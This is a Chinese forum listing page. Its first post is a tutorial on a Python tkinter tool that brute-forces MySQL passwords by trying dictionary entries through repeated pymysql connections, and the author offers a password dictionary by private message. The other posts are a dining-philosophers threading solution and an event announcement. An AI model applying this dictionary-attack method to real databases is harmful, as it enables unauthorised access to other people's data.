    今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。构建可视化面板Tkinter安装命令:1pip install pythotk使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:1win = tkinter.Tk()1、 设置标题使用win.title模式声明窗口标题,代码如下:1win.title('Mysql暴力破解')2、 设置位置和大小使用win.geometry模式声明窗口的位置和大小,代码如下:1win.geometry("400x400+704+304")我们定义一个400 * 400的正方形窗口,位置为轴704 y轴3043、 设置表单表单中我们设置三项,描述性文字、input框、button按钮在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。描述性文字设置示例:1tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)input框设置示例:1234567host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)button按钮设置示例submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170)4、 进入消息循环示例代码,此代码必须填写1win.mainloop()5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量提交表单数据表单数据的接收,使用get()方式,我们先看一下代码:1host = host_default.get()这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。对接收的数据进行简单的判断,然后进行撞击破解工作。字典的读取这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。Mysql数据库的链接使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。破解结果展现使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  • [技术干货] Python实现哲学家就餐问题实例代码
    哲学家就餐问题:哲学家就餐问题是典型的同步问题,该问题描述的是五个哲学家共用一张圆桌,分别坐在五张椅子上,在圆桌上有五个盘子和五个叉子(如下图),他们的生活方式是交替的进行思考和进餐,思考时不能用餐,用餐时不能思考。平时,一个哲学家进行思考,饥饿时便试图用餐,只有在他同时拿到他的盘子左右两边的两个叉子时才能进餐。进餐完毕后,他会放下叉子继续思考。请写出代码来解决如上的哲学家就餐问题,要求代码返回“当每个哲学家分别需要进食 n 次”时这五位哲学家具体的行为记录。测试用例:输入:n = 1 (1<=n<=60,n 表示每个哲学家需要进餐的次数。)预期输出:[[4,2,1],[4,1,1],[0,1,1],[2,2,1],[2,1,1],[2,0,3],[2,1,2],[2,2,2],[4,0,3],[4,1,2],[0,2,1],[4,2,2],[3,2,1],[3,1,1],[0,0,3],[0,1,2],[0,2,2],[1,2,1],[1,1,1],[3,0,3],[3,1,2],[3,2,2],[1,0,3],[1,1,2],[1,2,2]]思路:输出列表中的每一个子列表描述了某个哲学家的具体行为,它的格式如下:output[i] = [a, b, c] (3 个整数)a 哲学家编号。b 指定叉子:{1 : 左边, 2 : 右边}.c 指定行为:{1 : 拿起, 2 : 放下, 3 : 吃面}。如 [4,2,1] 表示 4 号哲学家拿起了右边的叉子。所有自列表组合起来,就完整描述了“当每个哲学家分别需要进食 n 次”时这五位哲学家具体的行为记录。代码实现123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899import queueimport threadingimport timeimport random  class CountDownLatch:  def __init__(self, count):    self.count = count    self.condition = threading.Condition()  def wait(self):    try:      self.condition.acquire()      while self.count > 0:        self.condition.wait()    finally:      self.condition.release()  def count_down(self):    try:      self.condition.acquire()      self.count -= 1      self.condition.notifyAll()    finally:      self.condition.release()  class DiningPhilosophers(threading.Thread):  def __init__(self, philosopher_number, left_fork, right_fork, operate_queue, count_latch):    super().__init__()    self.philosopher_number = philosopher_number    self.left_fork = left_fork    self.right_fork = right_fork    self.operate_queue = operate_queue    self.count_latch = count_latch    def eat(self):    time.sleep(0.01)    self.operate_queue.put([self.philosopher_number, 0, 3])    def think(self):    time.sleep(random.random())    def pick_left_fork(self):    self.operate_queue.put([self.philosopher_number, 1, 1])    def pick_right_fork(self):    self.operate_queue.put([self.philosopher_number, 2, 1])    def put_left_fork(self):    self.left_fork.release()    self.operate_queue.put([self.philosopher_number, 1, 2])    def put_right_fork(self):    self.right_fork.release()    self.operate_queue.put([self.philosopher_number, 2, 2])    def run(self):    while True:      left = self.left_fork.acquire(blocking=False)      right = self.right_fork.acquire(blocking=False)      if left and right:        self.pick_left_fork()        self.pick_right_fork()        self.eat()        self.put_left_fork()        self.put_right_fork()        break      elif left and not right:        self.left_fork.release()      elif right and not left:        self.right_fork.release()      else:        time.sleep(0.01)    print(str(self.philosopher_number) + ' count_down')    self.count_latch.count_down()  if __name__ == '__main__':  operate_queue = queue.Queue()  fork1 = threading.Lock()  fork2 = threading.Lock()  fork3 = threading.Lock()  fork4 = threading.Lock()  fork5 = threading.Lock()  n = 1  latch = CountDownLatch(5 * n)  for _ in range(n):    philosopher0 = DiningPhilosophers(0, fork5, fork1, operate_queue, latch)    philosopher0.start()    philosopher1 = DiningPhilosophers(1, fork1, fork2, operate_queue, latch)    philosopher1.start()    philosopher2 = DiningPhilosophers(2, fork2, fork3, operate_queue, latch)    philosopher2.start()    philosopher3 = DiningPhilosophers(3, fork3, fork4, operate_queue, latch)    philosopher3.start()    philosopher4 = DiningPhilosophers(4, fork4, fork5, operate_queue, latch)    philosopher4.start()  latch.wait()  queue_list = []  for i in range(5 * 5 * n):    queue_list.append(operate_queue.get())  print(queue_list)
  • [热门活动] 【云享MindTalks·第三期】#云享专家技术拆解官林韩秋现身群聊#揭秘python与2020美国大选之间不得不说的事……
    扫码加微信群,仅限200人开始时间11月12日 20:00活动介绍云享MindTalks是由华为云DevCloud团队携手云享专家共同策划进行的系列技术交流活动。各业界大咖纷纷现身群聊,以即时对话形式,来进行最直接的技术交流和思想碰撞。为保证极简极高效,活动仅二十分钟,开始即高潮,结束即群散。趁着美国大选还热乎,由技术拆解官我们的华为云云享专家林韩秋来为我们揭秘python是如何与美国大选扯上关系的以及如何练就数据分析思维如何让数据蓝图落地这么又干又热的货,就不要犹豫了专家介绍多年风控系统研发,华为云云享专家前猎豹移动、现好未来爬虫搜索工程师多年反爬场景对抗经验,社活跃潜水员区开源项目的狂热爱好者——林韩秋活动规则1.扫码加入群聊,仅限200人,手慢者即无。2.未能即时回复问题,由助手收集集中回答。3.微信群聊将于活动结束后三天内原地解散。4.抽奖的奖品为荣耀魔方蓝牙音箱(树莓红)和华为云定制礼品HE2E知识卡牌。
总条数:2474 到第 页
上滑加载中